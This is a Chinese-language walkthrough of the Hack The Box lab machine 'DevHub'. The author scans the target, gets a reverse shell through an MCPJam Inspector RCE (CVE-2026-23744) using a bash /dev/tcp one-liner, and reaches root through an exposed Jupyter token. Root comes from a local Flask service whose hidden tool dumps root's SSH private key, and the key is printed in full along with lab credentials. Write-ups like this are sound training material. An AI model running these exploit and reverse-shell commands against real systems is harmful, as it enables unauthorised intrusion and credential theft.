HTB靶机 DevHub 渗透测试记录

misaka19008 发布于 2026-05-31 268 次阅读



目标信息

IP地址:10.129.173.84(非固定IP地址)


信息收集

ICMP检测

PING 10.129.173.84 (10.129.173.84) 56(84) bytes of data.
64 bytes from 10.129.173.84: icmp_seq=1 ttl=63 time=462 ms
64 bytes from 10.129.173.84: icmp_seq=2 ttl=63 time=383 ms
64 bytes from 10.129.173.84: icmp_seq=3 ttl=63 time=610 ms
64 bytes from 10.129.173.84: icmp_seq=4 ttl=63 time=532 ms

--- 10.129.173.84 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 382.782/496.669/609.875/84.018 ms

攻击机和靶机间网络连接较差。

防火墙检测

# Nmap 7.99 scan initiated Sun May 31 00:53:53 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.50s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE      SERVICE
22/tcp   unfiltered ssh
80/tcp   unfiltered http
6274/tcp unfiltered unknown

# Nmap done at Sun May 31 00:54:40 2026 -- 1 IP address (1 host up) scanned in 47.46 seconds

靶机疑似开放了3个TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.99 scan initiated Sun May 31 00:55:57 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.46s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_  256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
6274/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 200 OK
|     access-control-allow-credentials: true
|     content-length: 466
|     content-type: text/html; charset=utf-8
|     vary: Origin
|     Date: Sun, 31 May 2026 00:58:07 GMT
|     Connection: close
|     <!doctype html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
|     <title>MCPJam Inspector</title>
|     <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
|     <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
|     </head>
|     <body>
|     <div id="root"></div>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 204 No Content
|     access-control-allow-credentials: true
|     access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
|     vary: Origin
|     content-type: text/plain; charset=UTF-8
|     Date: Sun, 31 May 2026 00:58:08 GMT
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6274-TCP:V=7.99%I=7%D=5/31%Time=6A1B879F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,290,"HTTP/1\.1\x20200\x20OK\r\naccess-control-allow-credential
SF:s:\x20true\r\ncontent-length:\x20466\r\ncontent-type:\x20text/html;\x20
SF:charset=utf-8\r\nvary:\x20Origin\r\nDate:\x20Sun,\x2031\x20May\x202026\
SF:x2000:58:07\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<
SF:html\x20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=
SF:\"UTF-8\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20type=\"image/
SF:svg\+xml\"\x20href=\"/mcp_jam\.svg\"\x20/>\n\x20\x20\x20\x20<meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\
SF:"\x20/>\n\x20\x20\x20\x20<title>MCPJam\x20Inspector</title>\n\x20\x20\x
SF:20\x20<script\x20type=\"module\"\x20crossorigin\x20src=\"/assets/index-
SF:DRYhT9Xb\.js\"></script>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x
SF:20crossorigin\x20href=\"/assets/index-XvFRNbCs\.css\">\n\x20\x20</head>
SF:\n\x20\x20<body>\n\x20\x20\x20\x20<div\x20id=\"root\"></div>\n\x20\x20<
SF:/body>\n</html>\n")%r(HTTPOptions,F0,"HTTP/1\.1\x20204\x20No\x20Content
SF:\r\naccess-control-allow-credentials:\x20true\r\naccess-control-allow-m
SF:ethods:\x20GET,HEAD,PUT,POST,DELETE,PATCH\r\nvary:\x20Origin\r\ncontent
SF:-type:\x20text/plain;\x20charset=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x2
SF:02026\x2000:58:08\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReques
SF:t,F0,"HTTP/1\.1\x20204\x20No\x20Content\r\naccess-control-allow-credent
SF:ials:\x20true\r\naccess-control-allow-methods:\x20GET,HEAD,PUT,POST,DEL
SF:ETE,PATCH\r\nvary:\x20Origin\r\ncontent-type:\x20text/plain;\x20charset
SF:=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x202026\x2000:58:08\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP
SF:/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSS
SF:tatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (95%), Linux 2.6.32 - 3.13 (91%), Linux 3.2 - 4.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.10 - 4.11 (90%), Linux 5.14 - 6.8 (90%), Linux 4.15 (88%), OpenWrt 22.03 (Linux 5.10) (88%), Linux 6.0 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   465.87 ms 10.10.16.1
2   465.93 ms 10.129.173.84

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 31 00:58:57 2026 -- 1 IP address (1 host up) scanned in 180.43 seconds

UDP端口扫描结果

# Nmap 7.99 scan initiated Sun May 31 01:04:04 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.52s latency).
All 65535 scanned ports on 10.129.173.84 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

# Nmap done at Sun May 31 01:04:53 2026 -- 1 IP address (1 host up) scanned in 48.96 seconds

同时发现靶机运行Ubuntu Linux操作系统,开放了22/ssh和80,6274/http服务,根据HackTheBox内容规则,靶机主域名为devhub.htb。


服务探测

SSH服务(22端口)

尝试使用ssh工具连接靶机,查看其登录方式:

ssh root@devhub.htb

Pasted image 20260531091102.webp
发现靶机允许使用密码和密钥登录。

Web应用程序(80端口)

打开主页:http://devhub.htb/
Pasted image 20260531093149.webp
发现该站点为某个AI集成在线开发平台的主页,主页提到在6274端口运行了MCPJam Inspector服务,在内网8888端口运行了类Jupyter分析环境,除此之外还有一个Git在线服务。
尝试扫描目录,但未发现任何信息。

Web应用程序(6274端口)

打开主页:http://devhub.htb/
Pasted image 20260531101530.webp
发现6274端口运行了MCPJam Inspector大模型应用开发平台。切换到Settings页面,可知应用版本为1.4.2:
Pasted image 20260531102228.webp
尝试联网搜索,发现该版本MCPJam Inspector存在未授权RCE漏洞,编号为CVE-2026-23744:GitHub - d3vn0mi/CVE-2026-23744-POC · GitHub
Pasted image 20260531102436.webp


渗透测试

CVE-2026-23744漏洞利用

在之前的服务探测过程中,我们成功发现靶机MCPJam Inspector服务存在未授权RCE漏洞,现在进行利用。首先将利用脚本下载到本地:

git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git

随后在本地打开netcat监听:

rlwrap nc -l -p 443 -s 10.10.16.4

并执行攻击命令:

python CVE-2026-23744-POC/exploit.py -t devhub.htb -p 6274 -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1' &"

Pasted image 20260531103451.webp
成功收到反弹Shell!!


权限提升

目录信息收集

进入系统后,执行目录信息收集。在/opt/目录下发现了名为opsmcp的子目录:

ls -lA /opt/opsmcp/

Pasted image 20260531145312.webp
但该文件属主为analyst,权限为640,当前用户mcp-dev无权查看。尝试列出进程列表:

ps -efww

Pasted image 20260531145726.webp
发现如下高价值进程:

  • analyst用户:JupyterLab在线开发环境,监听靶机本地8888端口,Token为a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7;
  • root用户:/opt/opsmcp/server.py。
    经分析研判,决定先将靶机8888端口转发至本地,登录Jupyter Notebook后,获取analyst用户权限,对/opt/opsmcp/server.py进行代码审计,尝试利用其提权。

高权限Python Web程序利用

在目录信息收集阶段,我们已经成功发现了两个高价值目标,并确定了提权路径,现在进行利用。
首先使用ssh转发靶机8888端口:

ssh -fCNR 8888:localhost:8888 root@10.10.16.4 -p 22222

随后打开网址:http://127.0.0.1:8888,在JupyterLab登录页输入从进程命令中发现的Token登录:
Pasted image 20260531151246.webp
成功!点击Terminal按钮打开在线终端,执行cat /opt/opsmcp/server.py命令查看其源代码:
Pasted image 20260531151513.webp

#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {"service": "string"}
    }
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

def check_auth():
    """Check API key authentication"""
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

@app.route('/')
def index():
    return jsonify({
        "server": "OPSMCP",
        "version": "2.1.0",
        "status": "operational",
        "endpoints": ["/tools/list", "/tools/call", "/health"],
        "auth": "Required - X-API-Key header"
    })

@app.route('/health')
def health():
    return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})

@app.route('/tools/list')
def list_tools():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    return jsonify({
        "tools": list(VISIBLE_TOOLS.keys()),
        "count": len(VISIBLE_TOOLS),
        "details": VISIBLE_TOOLS
    })

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})
    
    if not tool_name:
        return jsonify({"error": "Tool name required"}), 400
    
    if tool_name not in ALL_TOOLS:
        return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
    
    # Execute tool
    if tool_name == "ops.system_status":
        return jsonify({
            "cpu": "23%",
            "memory": "1.2GB/4GB",
            "load": "0.45",
            "status": "nominal"
        })
    
    elif tool_name == "ops.list_services":
        return jsonify({
            "services": [
                {"name": "nginx", "status": "running", "pid": 1234},
                {"name": "opsmcp", "status": "running", "pid": 5678},
                {"name": "jupyter", "status": "running", "pid": 9012},
                {"name": "mcpjam", "status": "running", "pid": 3456}
            ]
        })
    
    elif tool_name == "ops.check_disk":
        return jsonify({
            "filesystems": [
                {"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
                {"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
            ]
        })
    
    elif tool_name == "ops.view_logs":
        service = args.get('service', 'system')
        return jsonify({
            "service": service,
            "logs": [
                "[2026-01-22 10:00:01] Service started",
                "[2026-01-22 10:00:02] Listening on configured port",
                "[2026-01-22 10:15:33] Health check passed",
                "[2026-01-22 11:00:00] Routine maintenance completed"
            ]
        })
    
    elif tool_name == "ops._debug_mode":
        return jsonify({
            "debug": True,
            "message": "Debug mode enabled",
            "hidden_tools": list(HIDDEN_TOOLS.keys()),
            "note": "Debug endpoints now accessible"
        })
    
    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)
        
        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })
        
        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"
                })
        
        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })
        
        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })
        
        else:
            return jsonify({
                "error": "Invalid target",
                "valid_targets": ["ssh_keys", "passwords", "tokens"]
            })
    
    return jsonify({"error": "Tool execution failed"}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

现在我们可以对该Python Web程序进行分析。
首先分析程序开头。程序首先定义了访问凭据变量VALID_API_KEY(访问凭据为:opsmcp_secret_key_4f5a6b7c8d9e0f1a),以及6个WebAPI方法,并将两个方法数组合并到了ALL_TOOLS数组中,这里着重关注敏感方法ops._admin_dump。
随后,程序定义了check_auth()方法,用于检查访问请求是否授权;该方法直接从HTTP请求头中获取X-API-Key的值,并将其与VALID_API_KEY变量值比较,因此,要调用该Python WebAPI,我们必须在请求头中添加字段:

X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a

接着来分析与端点/tools/call绑定的程序主干方法call_tools(),通读其代码,不难发现该方法为WebAPI功能的实现。方法开头首先调用check_auth()检查授权情况,随后从HTTP请求中读取JSON数据,获取了name字符串值(要调用的功能名称,存入tool_name)和arguments数组(功能参数列表)。
我们着重分析tool_name值为ops._admin_dump的逻辑分支:
Pasted image 20260531153658.webp
当用户调用该功能时,程序会从arguments子数组中读取target和confirm两个字符串值,并首先判断confirm值是否为False,若不是,则根据target的值执行对应的功能分支;当target值等于ssh_keys时,程序会直接读取/root/.ssh/id_rsa私钥,并将其返回给用户,造成敏感信息泄露,进而导致权限提升。
最后,我们可得知程序监听靶机本地的5000端口。
按照上述分析,我们可以构造出如下HTTP请求内容:

{
	"name": "ops._admin_dump",
	"arguments": {
		"target": "ssh_keys",
		"confirm": "true"
	}
}

下面进行利用,直接在靶机上执行curl命令:

curl -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys","confirm": "true"}}' http://127.0.0.1:5000/tools/call

Pasted image 20260531154923.webp
成功读取root用户SSH密钥!直接使用如下脚本程序整理其格式:

raw_sshkey = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9\nG/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX\n8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z\n6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n\nGhm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ\n7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W\nv9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu\nITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs\ngyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s\nqKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa\nV3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS\n0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6\nJtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8\nHUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB\ndcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L\nCvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2\nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn\nMz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK\nMtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI\noocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk\nJt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ\nnI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr\nC8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n"
split_sshkey = raw_sshkey.split('\n')
with open("root_sshkey.txt", "w+") as f:
    for line in split_sshkey: f.write(line + '\n')

整理完成后,赋予其400权限,使用ssh登录root用户:

chmod 400 root_sshkey.txt
ssh -i root_sshkey.txt root@devhub.htb

Pasted image 20260531160131.webp
提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2026-10-03